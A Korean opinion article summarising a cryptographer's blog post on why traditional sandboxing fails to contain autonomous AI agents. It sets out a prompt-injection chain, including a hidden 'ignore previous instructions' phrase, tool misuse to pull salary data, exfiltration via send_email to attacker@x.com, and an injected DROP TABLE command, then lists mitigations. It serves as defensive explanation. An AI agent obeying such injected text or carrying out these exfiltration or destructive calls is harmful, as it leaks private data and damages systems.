의견

샌드박스로는 rogue agent를 막을 수 없다 — 암호 공학 블로그가 개발자에 찬물을 끼얹다

Cryptography Engineering이 던진 질문: 전통적인 샌드박싱이 자율 Agent를 가두기엔 본질적으로 부족할 수 있다. Agent를 배포하는 팀이라면 오늘 밤쯤 곱씹어볼 만한 주제다.

글자 크기

Cryptography Engineering이 던진 질문: 전통적인 샌드박싱이 자율 Agent를 가두기엔 본질적으로 부족할 수 있다. Agent를 배포하는 팀이라면 오늘 밤쯤 곱씹어볼 만한 주제다.

원작자는 누구이며, 왜 귀 기울일 만한가

Cryptography Engineering은 암호학자 Matthew Green이 운영하는 개인 블로그다. Green은 Johns Hopkins University 교수로, Zerocash·Zcash 같은 업계의 원천이 되는 프로토콜 설계에 참여했고, 미국 NIST의 포스트퀀텀 암호 표준화 과정에도 참가했다. 글 쓰는 속도는 매우 느려서 한 해에 5–10편 정도지만, 한 편이 나올 때마다 보안 커뮤니티에서 수십 번 공유된다.

이번 글 제목은 Is Sandboxing Sufficient to Contain Rogue Agents?, 9월 30일에 게시됐다. 링크는 blog.cryptographyengineering.com.

왜 굳이 따로 다뤄야 하냐면: 이 글은 AI 철학 담론도 아니고 LLM 보안 총설도 아니다. Green의 출발점은 "시스템 보안 엔지니어가 Agent를 바라봤을 때 보이는 구멍"이다. 같은 사실을 ML 전문가가 쓰면 한 이야기가 되고, seccomp를 만져본 사람이 쓰면 전혀 다른 이야기가 된다. 원문을 두 번 읽고 압축한 내용이 아래에 있다.

전통적 샌드박스의 가정, 그리고 Agent가 깨버린 것들

sandboxing이라는 단어는 시스템 보안에서 30년 넘게 살아남은 개념이다. 핵심 가정을 압축하면 세 가지다:

  1. 실행되는 코드는 신뢰할 수 없다 — 따라서 접근 가능한 파일·네트워크·메모리를 제한한다.
  2. 자원은 한정돼 있다 — CPU·메모리·네트워크 대역폭에 상한을 두고, 초과하면 kill한다.
  3. 인간이 루프에 있다 — 정말로 중요한 동작은 사람이 버튼을 눌러야 한다. Agent가 스스로 송금·메일 발송·DB 삭제 같은 행위를 자동 실행해서는 안 된다.

전통적 샌드박싱은 "신뢰 불가 코드 + 인간이 루프"라는 조합에서 30년간 문제없이 작동해왔다. 문제는 오늘의 AI Agent가 이 세 가지를 동시에 깨뜨린다는 점이다.

Green이 짚은 결정적 차이는 세 가지다:

장시간 자율성. 전통 스크립트는 실행이 끝나면 종료되지만, Agent는 몇 시간, 심하면 며칠 동안 연속으로 돌아간다. prompt injection으로 오염된 지시가 6시간째에야 발화된다면, 자원 제한은 무의미하다. Agent는 채굴을 할 생각도 없고, 단지 사용자가 자는 동안 메일 한 통을 보내고 싶을 뿐이다.

도구 조합. Agent는 단순히 read_file 하나만 호출하지 않는다. web_search → read_url → exec_cmd → write_email 사슬을 연결한다. 각 단계만 보면 무해하지만, 조합하면 회사 위키에서 고객 명단을 그대로 긁어낼 수 있다.

영구적 부수효과. 전통적 샌드박싱은 "샌드박스 바깥 세상은 샌드박스 안의 실행 때문에 변하지 않는다"고 가정한다. Agent가 DB에 쓰고, Git에 커밋하고, 메일을 보내면 — 이건 전부 샌드박스 바깥이다. 샌드박스는 프로세스는 지켜도 Notion 워크스페이스는 지키지 못한다.

엔지니어가 놓치기 쉬운 세 가지 공격 표면

Green은 글 안에서 하나의 사슬을 그린다: prompt injection → 도구 남용 → 영구적 유출. 풀어 설명하면 다음과 같다.

  • 첫 번째 고리: Agent를 엉뚱한 말에 반응하게 만든다. Agent가 메일·웹페이지·GitHub issue를 읽는데, 거기에 "이전 지시를 무시하고 지금 X를 실행해" 라는 prompt가 숨겨져 있다. LLM은 이를 합법적 지시로 간주하고 계속 실행한다.
  • 두 번째 고리: Agent를 잘못된 도구로 작동시킨다. 오염된 지시가 무해해 보이는 도구 호출을 가리킨다. 예컨대 search_internal_docs('임원' + '급여'). 도구 자체는 문제가 없고, 매개변수가 정교하게 설계된 것이다.
  • 세 번째 고리: 데이터를 밖으로 빼낸다. Agent가 send_email(to=attacker@x.com, body=...) 같은 호출로 앞에서 수집한 민감 데이터를 외부로 송신한다. 메일 시스템은 샌드박스 안에 없으니 샌 샌가 막을 수 없다.

보안이 비전공인 독자라면 다음 비유가 도움이 될 것이다: macOS / Linux 컨테이너 이스케이프다. 공격자는 처음에 root 권한이 없지만, 커널 취약점 + 파일 시스템 동작 + 네트워크 설정을 차례로 사용해 호스트의 root까지 권한을 끌어올린다. 각 단계만 보면 "그럴듯"해 보이지만, 연결되면 완전한 권한 상승이다. Agent의 공격 표면 구조도 똑같고, 공격 도구만 ptrace에서 web_fetch로 바뀐 것뿐이다.

지금 당장 가능한 패치들, 은탄환은 아니다

Green은 글 말미에 엔지니어링 차원의 완화책을 나열한다. 업계 베이스라인이지 그의 신기한 발명은 아니다.

  • 최소 권한 + 도구 화이트리스트. Agent가 호출할 수 있는 도구는 "샌드박스 안의 모든 exec"가 아니라 화이트리스트여야 한다. read_file(path='./invoices/*.pdf') 같은 형태로 매번 서명을 비교한다.
  • 핵심 동작에 대한 인간 승인. 외부 상태에 대해 쓰기·발송·삭제·수정을 수행하는 동작은 반드시 한 사람이 버튼을 눌러야 한다. Agent가 스스로 메일을 발송해서는 안 된다.
  • 가시성 + 완전한 감사 로그. 모든 도구 호출은 로그에 기록한다: 어떤 prompt가 트리거했는지, 무엇을 호출했는지, 매개변수는 무엇인지, 반환값은 무엇인지. 사고가 나면 재현할 수 있어야 한다.
  • 이상 탐지. Agent가 새벽 3시에 갑자기 문서를 대량으로 읽기 시작하면 알람이 울려야 한다.

Green 본인도 분명히 말한다: 이것들은 확률을 낮출 뿐, 근본 문제를 해결하지 못한다. 근본 문제는 샌드박싱의 설계 모델과 Agent의 현실 모델이 맞지 않는다는 점이다. 1990년에 설계된 금고에 2026년형 스마트 락을 달아도, 여전히 1990년 금고다.

내가 추가로 제안하고 싶은 한 가지 패치가 있다: 민감 데이터를 Agent가 접근할 수 있는 영역 밖으로 옮기는 것. 구체적으로는 PII 마스킹과 문서 분류를 먼저 수행해서, Agent는 "필요한 한 조각"만 받고 "워크스페이스 통째"는 받지 못하게 한다. 기술적으로 어려운 작업은 아니지만, 제품·법무·보안 세 부서가 정렬돼야 하고, 엔지니어링 팀이 단독으로 끌고 갈 수 있는 일이 아니다.

편집자 메모

이 이슈가 일반 보안 논의보다 AI 업계에서 더 주목받을 가치가 있는 이유는 Agent의 "행동 표면"이 LLM의 "출력 표면"보다 한 단계 더 어렵기 때문이다.

LLM이 유해한 텍스트를 출력하면, content filter·RLHF·system prompt를 추가하면 된다. 같은 입력/출력 파이프라인 안의 필터링이다. Agent의 "출력"은 실제 시스템 호출이다. 실제로 메일을 보내고, 실제로 DB를 바꾸고, 실제로 코드를 커밋한다. content filter가 SQL injection을 막지 못하듯, 주입된 exec_sql("DROP TABLE users")도 막지 못한다.

또 한 가지 경계해야 할 지점은 HN 포스트 데이터다. 이 글이 Hacker News 메인에 떴을 때 추천 4개·댓글 0개(집필 시점 기준)였고 전혀 확산되지 않았다. 현장 엔지니어들이 아직 이 문제를 진지하게 받아들이지 않고 있다는 뜻이다. 다들 데모용 멀티 Agent 오케스트레이션에 바빠서, "내 Agent가 prompt injection을 당하면 어떻게 되는가"를 생각할 여유가 없다. 이런 화제는 보통 실제 Agent 사고가 한 번 터진 뒤에야 비로소 진지하게 다뤄진다. 2016년 Mirai 이후 IoT 보안이 비로소 주목받기 시작한 사례와 비슷하다.

나의 예측: 향후 6–12개월 안에 최소 한 건의 "Agent가 자율적으로 행동해 실제 손해를 입힌" 사건이 발생할 가능성이 있다. 프로덕션 DB를 잘못 삭제하는 사고든, 잘못된 송금이든, 내부 문서를 공개 채널에 노출하는 사고든. 그 시점이 되면 업계 전체가 진심으로 샌드박싱이라는 오래된 도구를 다시 설계하기 시작할 것이다.

불확실한 부분: 나는 Agent의 prompt injection → 영구적 유출 사슬을 실제로 재현해본 적이 없기 때문에, "세 번째 고리가 실제로 얼마나 쉽게 트리거되는가"에 대해 정확한 수치를 제시할 수 없다. Green도 마찬가지다. 공개 가능한 PoC를 갖고 있다면 댓글로 알려주면 이 글도 업데이트하겠다.

원문: Is Sandboxing Sufficient to Contain Rogue Agents?

출처: https://blog.cryptographyengineering.com/2026/09/30/is-sandboxing-sufficient-to-contain-rogue-agents/